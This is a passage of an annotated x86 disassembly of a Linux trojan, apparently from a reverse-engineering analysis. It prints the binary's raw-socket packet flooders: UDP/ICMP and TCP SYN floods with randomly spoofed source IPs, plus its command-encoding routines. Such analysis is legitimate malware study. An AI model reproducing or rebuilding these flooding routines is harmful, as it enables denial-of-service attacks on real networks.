; CODE XREF: sub_8049564+41Ej mov ebx, [ebp+lookup_step] cmp [ebp+lookup_stepper], ebx jnz short loc_80499BC push 12Ch call usleep mov [ebp+lookup_stepper], 0 loc_80499AF: ; CODE XREF: sub_8049564+42Aj dec [ebp+lookup_counter] add esp, 4 jmp short loc_80499C2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80499BC: ; CODE XREF: sub_8049564+435j inc [ebp+lookup_stepper] loc_80499C2: ; CODE XREF: sub_8049564+454j add [ebp+offset], 50 inc esi cmp esi, 8 jle inner_loop jmp outer_loop ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 bail_out: ; CODE XREF: sub_8049564+103j mov ds:child_pid, 0 ; child_pid = 0 xor eax, eax ; return 0; lea esp, [ebp+saved_regs] ; cleanup & restore the stack pop ebx ; | pop esi ; | pop edi ; | mov esp, ebp ; | pop ebp ; v retn sub_8049564 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80499F4 proc near ; CODE XREF: main+74Ep saved_regs = dword ptr -0ACh ptr_dstaddr = dword ptr -0A0h pktlen = dword ptr -9Ch sockfd = dword ptr -98h save_srcaddr_c = dword ptr -94h save_srcaddr_b = dword ptr -90h save_srcaddr_a = dword ptr -8Ch save_dstaddr_d = dword ptr -88h save_dstaddr_c = dword ptr -84h save_dstaddr_b = dword ptr -80h save_dstaddr_a = dword ptr -7Ch ipaddr = dword ptr -78h checksum = word ptr -72h srcaddr_buf = byte ptr -70h dstaddr_buf = byte ptr -50h iphdr = byte ptr -30h udphdr = word ptr -1Ch var_14 = byte ptr -14h dstaddr = byte ptr -10h do_udp = dword ptr 8 dstport = word ptr 0Ch dstaddr_a = dword ptr 10h dstaddr_b = dword ptr 14h dstaddr_c = dword ptr 18h dstaddr_d = dword ptr 1Ch srcaddr_a = dword ptr 20h srcaddr_b = dword ptr 24h srcaddr_c = dword ptr 28h srcaddr_d = dword ptr 2Ch use_dsthost = dword ptr 30h dsthost = dword ptr 34h push ebp ; initialize the stack & preserve registers mov ebp, esp ; | sub esp, 0A0h ; | push edi ; | push esi ; | push ebx ; v mov cl, byte ptr [ebp+dstaddr_a] mov byte ptr [ebp+save_dstaddr_a], cl mov cl, byte ptr [ebp+dstaddr_b] mov byte ptr [ebp+save_dstaddr_b], cl mov cl, byte ptr [ebp+dstaddr_c] mov byte ptr [ebp+save_dstaddr_c], cl mov cl, byte ptr [ebp+dstaddr_d] mov byte ptr [ebp+save_dstaddr_d], cl mov cl, byte ptr [ebp+srcaddr_a] mov byte ptr [ebp+save_srcaddr_a], cl mov cl, byte ptr [ebp+srcaddr_b] mov byte ptr [ebp+save_srcaddr_b], cl mov cl, byte ptr [ebp+srcaddr_c] mov byte ptr [ebp+save_srcaddr_c], cl mov bl, byte ptr [ebp+srcaddr_d] mov word ptr [ebp+dstaddr], 2 call __random mov ecx, 0FFh cdq idiv ecx mov eax, edx xchg al, ah mov word ptr [ebp+dstaddr+2], ax movzx eax, bl push eax movzx eax, byte ptr [ebp+save_srcaddr_c] push eax movzx eax, byte ptr [ebp+save_srcaddr_b] push eax movzx eax, byte ptr [ebp+save_srcaddr_a] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea esi, [ebp+srcaddr_buf] push esi call sprintf add esp, 18h cmp [ebp+use_dsthost], 0 jnz short loc_8049ABE movzx eax, byte ptr [ebp+save_dstaddr_d] push eax movzx eax, byte ptr [ebp+save_dstaddr_c] push eax movzx eax, byte ptr [ebp+save_dstaddr_b] push eax movzx eax, byte ptr [ebp+save_dstaddr_a] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea ebx, [ebp+dstaddr_buf] push ebx call sprintf push ebx call inet_addr mov dword ptr [ebp+dstaddr+4], eax add esp, 1Ch loc_8049ABE: ; CODE XREF: sub_80499F4+94j push 0FFh ; *reserved* push 3 ; SOCK_RAW push 2 ; PF_INET call socket ; socket(PF_INET, SOCK_RAW, 0xFF) mov [ebp+sockfd], eax add esp, 0Ch test eax, eax jle bail_out mov [ebp+iphdr], 45h mov word ptr [ebp+iphdr+2], 1C28h mov word ptr [ebp+iphdr+4], 5504h call __random mov ecx, 130 cdq idiv ecx add dl, 120 mov [ebp+iphdr+8], dl push esi call inet_addr mov dword ptr [ebp+iphdr+0Ch], eax add esp, 4 cmp [ebp+use_dsthost], 0 jnz short loc_8049B21 lea eax, [ebp+dstaddr_buf] push eax call inet_addr mov dword ptr [ebp+iphdr+10h], eax add esp, 4 loc_8049B21: ; CODE XREF: sub_80499F4+11Cj mov word ptr [ebp+iphdr+6], 0FE1Fh mov word ptr [ebp+iphdr+0Ah], 0 cmp [ebp+do_udp], 0 jz short loc_8049BB0 mov [ebp+iphdr+9], 11h call __random mov ecx, 0FFh cdq idiv ecx mov eax, edx xchg al, ah mov [ebp+udphdr], ax mov ax, [ebp+dstport] xchg al, ah mov [ebp+udphdr+2], ax mov [ebp+udphdr+4], 900h mov edx, 9 lea esi, [ebp+udphdr] xor ebx, ebx mov [ebp+checksum], 0 loc_8049B6C: ; CODE XREF: sub_80499F4+186j movzx eax, word ptr [esi] add ebx, eax add esi, 2 add edx, -2 cmp edx, 1 jg short loc_8049B6C jnz short loc_8049B89 mov al, [esi] mov byte ptr [ebp+checksum], al movzx eax, [ebp+checksum] add ebx, eax loc_8049B89: ; CODE XREF: sub_80499F4+188j mov edx, ebx sar edx, 10h movzx eax, bx lea ebx, [eax+edx] mov eax, ebx sar eax, 10h add ebx, eax mov eax, ebx not ax mov [ebp+checksum], ax mov [ebp+udphdr+6], ax mov [ebp+var_14], 61h jmp short loc_8049C10 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049BB0: ; CODE XREF: sub_80499F4+13Dj mov [ebp+iphdr+9], 1 mov byte ptr [ebp+udphdr], 8 mov byte ptr [ebp+udphdr+1], 0 mov [ebp+udphdr+2], 0 mov edx, 9 lea esi, [ebp+udphdr] xor ebx, ebx mov [ebp+checksum], 0 lea esi, [esi] loc_8049BD4: ; CODE XREF: sub_80499F4+1EEj movzx eax, word ptr [esi] add ebx, eax add esi, 2 add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8049BD4 jnz short loc_8049BF1 mov al, [esi] mov byte ptr [ebp+checksum], al movzx eax, [ebp+checksum] add ebx, eax loc_8049BF1: ; CODE XREF: sub_80499F4+1F0j mov edx, ebx sar edx, 10h movzx eax, bx lea ebx, [eax+edx] mov eax, ebx sar eax, 10h add ebx, eax mov eax, ebx not ax mov [ebp+checksum], ax mov [ebp+udphdr+2], ax loc_8049C10: ; CODE XREF: sub_80499F4+1B8j mov [ebp+pktlen], 1Dh mov edx, 14h lea esi, [ebp+iphdr] xor ebx, ebx mov [ebp+checksum], 0 lea esi, [esi] loc_8049C2C: ; CODE XREF: sub_80499F4+246j movzx eax, word ptr [esi] add ebx, eax add esi, 2 add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_8049C2C jnz short loc_8049C49 mov al, [esi] mov byte ptr [ebp+checksum], al movzx eax, [ebp+checksum] add ebx, eax loc_8049C49: ; CODE XREF: sub_80499F4+248j mov edx, ebx sar edx, 10h movzx eax, bx lea ebx, [eax+edx] mov eax, ebx sar eax, 10h add ebx, eax mov eax, ebx not ax mov [ebp+checksum], ax mov word ptr [ebp+iphdr+0Ah], ax xor ebx, ebx lea ecx, [ebp+dstaddr] mov [ebp+ptr_dstaddr], ecx lea edi, [ebp+iphdr] lea esi, [esi] loc_8049C78: ; CODE XREF: sub_80499F4+32Aj xor esi, esi cmp [ebp+use_dsthost], 0 jz short loc_8049CCE test ebx, ebx jg short loc_8049CCE mov ecx, [ebp+dsthost] push ecx call gethostbyname mov edx, eax add esp, 4 test edx, edx jnz short loc_8049CAC push 600 call sleep mov esi, 1 add esp, 4 jmp short loc_8049CCE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8049CAC: ; CODE XREF: sub_80499F4+2A0j push 4 lea eax, [ebp+ipaddr] push eax mov eax, [edx+10h] mov eax, [eax] push eax call bcopy mov eax, [ebp+ipaddr] mov dword ptr [ebp+iphdr+10h], eax mov dword ptr [ebp+dstaddr+4], eax mov ebx, 40000 add esp, 0Ch loc_8049CCE: ; CODE XREF: sub_80499F4+28Aj ; sub_80499F4+28Ej ... test esi, esi jnz short loc_8049D1D push 10h mov ecx, [ebp+ptr_dstaddr] push ecx push 0 mov ecx, [ebp+pktlen] push ecx push edi mov ecx, [ebp+sockfd] push ecx call sendto push 10h mov ecx, [ebp+ptr_dstaddr] push ecx push 0 mov ecx, [ebp+pktlen] push ecx push edi mov ecx, [ebp+sockfd] push ecx call sendto add esp, 30h push 20 call usleep add esp, 4 loc_8049D1D: ; CODE XREF: sub_80499F4+2DCj dec ebx jmp loc_8049C78 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 bail_out: ; CODE XREF: sub_80499F4+E3j mov ds:child_pid, 0 ; child_pid = 0; xor eax, eax ; return 0; lea esp, [ebp+saved_regs] ; cleanup & restore the stack pop ebx ; | pop esi ; | pop edi ; | mov esp, ebp ; | pop ebp ; v retn sub_80499F4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8049D40 proc near ; CODE XREF: main+BC4p main+C9Ep saved_regs = dword ptr -0D8h internal1 = dword ptr -0CCh save_dd = dword ptr -0C8h internal2 = dword ptr -0C4h sockfd = dword ptr -0C0h save_sd = dword ptr -0BCh save_sc = dword ptr -0B8h save_sb = dword ptr -0B4h save_sa = dword ptr -0B0h save_dc = dword ptr -0ACh save_db = dword ptr -0A8h save_da = dword ptr -0A4h checksum = word ptr -9Eh ipaddr = dword ptr -9Ch srcaddr_buf = byte ptr -98h dstaddr_buf = byte ptr -78h var_58 = byte ptr -58h iphdr = byte ptr -38h tcphdr = byte ptr -24h dstaddr = byte ptr -10h dstaddr_a = dword ptr 8 dstaddr_b = dword ptr 0Ch dstaddr_c = dword ptr 10h dstaddr_d = dword ptr 14h dstport_hi = dword ptr 18h dstport_lo = dword ptr 1Ch use_srcaddr = dword ptr 20h srcaddr_a = dword ptr 24h srcaddr_b = dword ptr 28h srcaddr_c = dword ptr 2Ch srcaddr_d = dword ptr 30h lookup_step = dword ptr 34h use_dsthost = dword ptr 38h dsthost = dword ptr 3Ch push ebp mov ebp, esp sub esp, 0CCh push edi push esi push ebx mov bl, byte ptr [ebp+dstaddr_a] mov byte ptr [ebp+save_da], bl mov bl, byte ptr [ebp+dstaddr_b] mov byte ptr [ebp+save_db], bl mov bl, byte ptr [ebp+dstaddr_c] mov byte ptr [ebp+save_dc], bl mov bl, byte ptr [ebp+dstaddr_d] mov byte ptr [ebp+save_dd], bl mov bl, byte ptr [ebp+srcaddr_a] mov byte ptr [ebp+save_sa], bl mov bl, byte ptr [ebp+srcaddr_b] mov byte ptr [ebp+save_sb], bl mov bl, byte ptr [ebp+srcaddr_c] mov byte ptr [ebp+save_sc], bl mov bl, byte ptr [ebp+srcaddr_d] mov byte ptr [ebp+save_sd], bl cmp [ebp+lookup_step], 0 jz short loc_8049D9D dec [ebp+lookup_step] loc_8049D9D: ; CODE XREF: sub_8049D40+58j push 0 call time add esp, 4 push eax call __srandom add esp, 4 mov word ptr [ebp+dstaddr], 2 call __random mov ebx, 0FFh cdq idiv ebx mov eax, edx xchg al, ah mov word ptr [ebp+dstaddr+2], ax cmp [ebp+use_dsthost], 0 jnz short loc_8049E0B movzx eax, byte ptr [ebp+save_dd] push eax movzx eax, byte ptr [ebp+save_dc] push eax movzx eax, byte ptr [ebp+save_db] push eax movzx eax, byte ptr [ebp+save_da] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea ebx, [ebp+dstaddr_buf] push ebx call sprintf push ebx call inet_addr mov dword ptr [ebp+dstaddr+4], eax add esp, 1Ch loc_8049E0B: ; CODE XREF: sub_8049D40+8Fj mov [ebp+iphdr], 45h mov word ptr [ebp+iphdr+2], 2800h mov [ebp+iphdr+1], 0 push 0FFh push 3 push 2 call socket mov [ebp+sockfd], eax add esp, 0Ch test eax, eax jle loc_804A178 cmp [ebp+use_srcaddr], 0 jz short loc_8049E72 movzx eax, byte ptr [ebp+save_sd] push eax movzx eax, byte ptr [ebp+save_sc] push eax movzx eax, byte ptr [ebp+save_sb] push eax movzx eax, byte ptr [ebp+save_sa] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea eax, [ebp+srcaddr_buf] push eax call sprintf add esp, 18h loc_8049E72: ; CODE XREF: sub_8049D40+FCj cmp [ebp+use_dsthost], 0 jnz short loc_8049E87 lea eax, [ebp+dstaddr_buf] push eax call inet_addr mov dword ptr [ebp+iphdr+10h], eax add esp, 4 loc_8049E87: ; CODE XREF: sub_8049D40+136j mov word ptr [ebp+iphdr+6], 0 mov [ebp+iphdr+9], 6 mov al, [ebp+tcphdr+0Dh] and al, 0EFh mov [ebp+tcphdr+0Dh], al mov al, [ebp+tcphdr+0Ch] and al, 0Fh or al, 50h mov [ebp+tcphdr+0Ch], al mov dword ptr [ebp+tcphdr+8], 0 and al, 50h mov [ebp+tcphdr+0Ch], al mov [ebp+tcphdr+0Dh], 2 mov word ptr [ebp+tcphdr+12h], 0 mov eax, [ebp+dstport_hi] shl eax, 8 add ax, word ptr [ebp+dstport_lo] xchg al, ah mov word ptr [ebp+tcphdr+2], ax xor edi, edi mov [ebp+var_58+8], 0 cmp [ebp+use_dsthost], 0 jnz short loc_8049EDB mov eax, dword ptr [ebp+iphdr+10h] mov dword ptr [ebp+var_58+4], eax loc_8049EDB: ; CODE XREF: sub_8049D40+193j mov [ebp+var_58+9], 6 mov word ptr [ebp+var_58+0Ah], 1400h xor esi, esi lea ebx, [ebp+var_58] mov [ebp+internal2], ebx loc_8049EF0: ; CODE XREF: sub_8049D40+222j ; sub_8049D40+429j ... mov [ebp+internal1], 0 cmp [ebp+use_dsthost], 0 jz short loc_8049F5B test esi, esi jg short loc_8049F5B mov ebx, [ebp+dsthost] push ebx call gethostbyname mov edx, eax add esp, 4 test edx, edx jnz short loc_8049F30 push 258h call sleep mov [ebp+internal1], 1 add esp, 4 jmp short loc_8049F5B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8049F30: ; CODE XREF: sub_8049D40+1D4j push 4 lea eax, [ebp+ipaddr] push eax mov eax, [edx+10h] mov eax, [eax] push eax call bcopy mov eax, [ebp+ipaddr] mov dword ptr [ebp+iphdr+10h], eax mov dword ptr [ebp+dstaddr+4], eax mov dword ptr [ebp+var_58+4], eax mov esi, 40000 add esp, 0Ch loc_8049F5B: ; CODE XREF: sub_8049D40+1BEj ; sub_8049D40+1C2j ... cmp [ebp+internal1], 0 jnz short loc_8049EF0 call random mov ebx, 3089 cdq idiv ebx mov eax, edx add ah, 2 xchg al, ah mov word ptr [ebp+iphdr+4], ax call random mov ebx, 1401 cdq idiv ebx mov eax, edx add ax, 200 xchg al, ah mov word ptr [ebp+tcphdr+0Eh], ax call random mov ebx, 40000 cdq idiv ebx mov eax, edx inc ax xchg al, ah mov word ptr [ebp+tcphdr], ax call random mov ebx, 40000000 cdq idiv ebx lea eax, [edx+1] xchg al, ah ror eax, 10h xchg al, ah mov dword ptr [ebp+tcphdr+4], eax call random mov ebx, 116 cdq idiv ebx add dl, 125 mov [ebp+iphdr+8], dl cmp [ebp+use_srcaddr], 0 jnz short loc_804A01C call __random mov ebx, 0FFh cdq idiv ebx push edx call __random cdq idiv ebx push edx call __random cdq idiv ebx push edx call __random cdq idiv ebx push edx push offset aU_U_U_U ; "%u.%u.%u.%u" lea eax, [ebp+srcaddr_buf] push eax call sprintf add esp, 18h loc_804A01C: ; CODE XREF: sub_8049D40+29Dj lea eax, [ebp+srcaddr_buf] push eax call inet_addr mov dword ptr [ebp+iphdr+0Ch], eax mov dword ptr [ebp+var_58], eax mov word ptr [ebp+tcphdr+10h], 0 mov word ptr [ebp+iphdr+0Ah], 0 push 14h lea eax, [ebp+var_58+0Ch] push eax lea eax, [ebp+tcphdr] push eax call bcopy add esp, 10h mov edx, 20h mov ebx, [ebp+internal2] mov [ebp+internal1], ebx xor ecx, ecx mov [ebp+checksum], 0 loc_804A068: ; CODE XREF: sub_8049D40+342j mov ebx, [ebp+internal1] movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 mov [ebp+internal1], ebx add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_804A068 jnz short loc_804A097 mov al, [ebx] mov byte ptr [ebp+checksum], al movzx eax, [ebp+checksum] add ecx, eax loc_804A097: ; CODE XREF: sub_8049D40+344j mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+checksum], ax mov word ptr [ebp+tcphdr+10h], ax mov edx, 14h lea ebx, [ebp+iphdr] mov [ebp+internal1], ebx xor ecx, ecx mov [ebp+checksum], 0 lea esi, [esi] loc_804A0D4: ; CODE XREF: sub_8049D40+3AEj mov ebx, [ebp+internal1] movzx eax, word ptr [ebx] add ecx, eax add ebx, 2 mov [ebp+internal1], ebx add edx, 0FFFFFFFEh cmp edx, 1 jg short loc_804A0D4 jnz short loc_804A103 mov al, [ebx] mov byte ptr [ebp+checksum], al movzx eax, [ebp+checksum] add ecx, eax loc_804A103: ; CODE XREF: sub_8049D40+3B0j mov edx, ecx sar edx, 10h movzx eax, cx lea ecx, [eax+edx] mov eax, ecx sar eax, 10h add ecx, eax mov eax, ecx not ax mov [ebp+checksum], ax mov word ptr [ebp+iphdr+0Ah], ax push 16 lea eax, [ebp+dstaddr] push eax push 0 push 40 lea eax, [ebp+iphdr] push eax mov ebx, [ebp+sockfd] push ebx call sendto add esp, 18h cmp [ebp+lookup_step], 0 jnz short loc_804A154 push 12Ch call usleep jmp short loc_804A165 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804A154: ; CODE XREF: sub_8049D40+406j cmp [ebp+lookup_step], edi jnz short loc_804A170 push 12Ch call usleep xor edi, edi loc_804A165: ; CODE XREF: sub_8049D40+412j dec esi add esp, 4 jmp loc_8049EF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804A170: ; CODE XREF: sub_8049D40+417j inc edi jmp loc_8049EF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804A178: ; CODE XREF: sub_8049D40+F2j mov ds:child_pid, 0 xor eax, eax lea esp, [ebp+saved_regs] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8049D40 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden encode_input proc near ; CODE XREF: main+286p main+582p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_8] mov al, ds:null_byte ; terminate dest at [1] mov [ebx], al mov al, [esi] ; put 1st byte of src in al add al, 17h ; add 0x17 to it movsx eax, al ; put in eax push eax ; 1st byte of src + 0x17 push offset aC ; "%c" push ebx ; dest call sprintf mov ecx, 1 ; i = 1 cmp ecx, edi jz short loc_804A1DD nop loc_804A1C8: ; CODE XREF: encode_input+47j movzx edx, byte ptr [ebx+ecx-1] ; edx = dest[i - 1] movzx eax, byte ptr [ecx+esi] ; eax = src[i] lea eax, [edx+eax+17h] ; eax = src[i] + dest[i - 1] + 0x17 mov [ecx+ebx], al ; dest[i] = eax truncated to byte inc ecx ; i++ cmp ecx, edi jnz short loc_804A1C8 ; edx = dest[i - 1] loc_804A1DD: ; CODE XREF: encode_input+31j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn encode_input endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden decode_input proc near ; CODE XREF: main+1D8p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+arg_0] ; edi = length (ex. 200) lea ebx, [edi-1] ; ebx = length - 1 (ex. 199) lea eax, [edi+3] ; eax = length + 3 (ex. 203) and al, 0FCh ; round eax to 4 byte boundary sub esp, eax ; alloca() mov [ebp+var_4], esp ; store alloca() result in workbuf mov al, ds:null_byte ; null terminate the destination buffer mov esi, [ebp+arg_8] ; offset to first byte of dest buffer mov [esi], al ; store null terminator in first element of dest buffer test ebx, ebx ; silly irrelevant test to make sure there's more than a single byte in the source buffer jl loc_804A29B ; return loc_804A214: ; CODE XREF: decode_input+ADj lea edx, [ebx-1] ; edx = ebx - 1 test ebx, ebx ; if (!ebx) jz short loc_804A22C mov esi, [ebp+arg_4] movzx eax, byte ptr [ebx+esi] ; eax = src[ebx] movzx edx, byte ptr [edx+esi] ; edx = src[edx] sub eax, edx ; eax -= edx jmp short loc_804A232 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804A22C: ; CODE XREF: decode_input+31j mov esi, [ebp+arg_4] movzx eax, byte ptr [esi] ; eax = src[0] loc_804A232: ; CODE XREF: decode_input+40j lea ecx, [eax-17h] test ecx, ecx jge short loc_804A244 db 8Dh,76h,0 ; lea esi, [esi+0] ; compiler artifact loc_804A23C: ; CODE XREF: decode_input+5Aj add ecx, 100h js short loc_804A23C loc_804A244: ; CODE XREF: decode_input+4Fj xor edx, edx cmp edx, edi ; compiler artifact jge short loc_804A25D ; compiler artifact lea esi, [esi] ; compiler artifact loc_804A24C: ; CODE XREF: decode_input+73j mov esi, [ebp+arg_8] mov al, [edx+esi] mov esi, [ebp+var_4] mov [edx+esi], al inc edx cmp edx, edi jl short loc_804A24C loc_804A25D: ; CODE XREF: decode_input+60j mov esi, [ebp+arg_8] mov [esi], cl mov edx, 1 cmp edx, edi jge short loc_804A27E nop loc_804A26C: ; CODE XREF: decode_input+94j mov esi, [ebp+var_4] mov al, [edx+esi-1] mov esi, [ebp+arg_8] mov [edx+esi], al inc edx cmp edx, edi jl short loc_804A26C loc_804A27E: ; CODE XREF: decode_input+81j mov esi, [ebp+var_4] push esi push ecx push offset aCS ; "%c%s" mov esi, [ebp+arg_8] push esi call sprintf add esp, 10h dec ebx jns loc_804A214 loc_804A29B: ; CODE XREF: decode_input+26j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn decode_input endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden setenv proc near ; CODE XREF: main+946p main+964p var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push edi push esi push ebx xor dl, dl mov edi, [ebp+arg_0] mov al, dl cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov esi, ecx dec esi mov [ebp+var_8], esi mov edi, [ebp+arg_4] cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov eax, ecx dec eax mov [ebp+var_C], eax mov [ebp+var_10], 0 mov [ebp+var_4], 0 mov ebx, __environ cmp dword ptr [ebx], 0 jz short loc_804A322 loc_804A2F4: ; CODE XREF: setenv+6Fj mov esi, [ebx] mov edi, [ebp+arg_0] mov ecx, [ebp+var_8] cld test al, 0 repe cmpsb jnz short loc_804A30E mov esi, [ebx] mov eax, [ebp+var_8] cmp byte ptr [eax+esi], 3Dh jz short loc_804A319 loc_804A30E: ; CODE XREF: setenv+59j inc [ebp+var_4] add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_804A2F4 loc_804A319: ; CODE XREF: setenv+64j cmp dword ptr [ebx], 0 jnz loc_804A408 loc_804A322: ; CODE XREF: setenv+4Aj mov esi, [ebp+var_4] lea esi, ds:8[esi*4] push esi call malloc mov ebx, eax add esp, 4 test ebx, ebx jz short loc_804A384 mov eax, __environ mov esi, [ebp+var_4] lea edx, ds:0[esi*4] push edx push eax push ebx call memcpy add esp, 0Ch mov eax, [ebp+var_C] mov esi, [ebp+var_8] lea eax, [esi+eax+2] push eax call malloc mov edx, eax mov esi, [ebp+var_4] mov [ebx+esi*4], edx add esp, 4 test edx, edx jnz short loc_804A390 push ebx call free mov __errno, 0Ch loc_804A384: ; CODE XREF: setenv+91j setenv+19Bj mov [ebp+var_10], 0FFFFFFFFh jmp loc_804A47F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804A390: ; CODE XREF: setenv+CAj mov eax, [ebp+var_4] mov eax, [ebx+eax*4] mov [ebp+var_14], eax mov esi, [ebp+var_8] push esi mov eax, [ebp+arg_0] push eax mov esi, [ebp+var_14] push esi call memcpy add esp, 0Ch mov eax, [ebp+var_4] mov eax, [ebx+eax*4] mov esi, [ebp+var_8] mov byte ptr [esi+eax], 3Dh mov edx, [ebp+var_C] inc edx mov eax, [ebp+var_4] add esi, [ebx+eax*4] inc esi mov [ebp+var_14], esi push edx mov esi, [ebp+arg_4] push esi mov eax, [ebp+var_14] push eax call memcpy add esp, 0Ch mov esi, [ebp+var_4] mov dword ptr [ebx+esi*4+4], 0 cmp dword_80784F4, 0 jz short loc_804A3F8 mov eax, dword_80784F4 push eax call free loc_804A3F8: ; CODE XREF: setenv+143j mov dword_80784F4, ebx mov __environ, ebx jmp short loc_804A47F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804A408: ; CODE XREF: setenv+74j cmp [ebp+arg_8], 0 jz short loc_804A47F xor dl, dl mov edi, [ebx] mov al, dl cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov esi, ecx dec esi mov [ebp+var_14], esi mov eax, [ebp+var_C] mov esi, [ebp+var_8] lea edx, [esi+eax+1] cmp [ebp+var_14], edx jnb short loc_804A44B lea eax, [edx+1] push eax call malloc mov edx, eax add esp, 4 test edx, edx jz loc_804A384 mov [ebx], edx loc_804A44B: ; CODE XREF: setenv+189j mov eax, [ebx] mov [ebp+var_14], 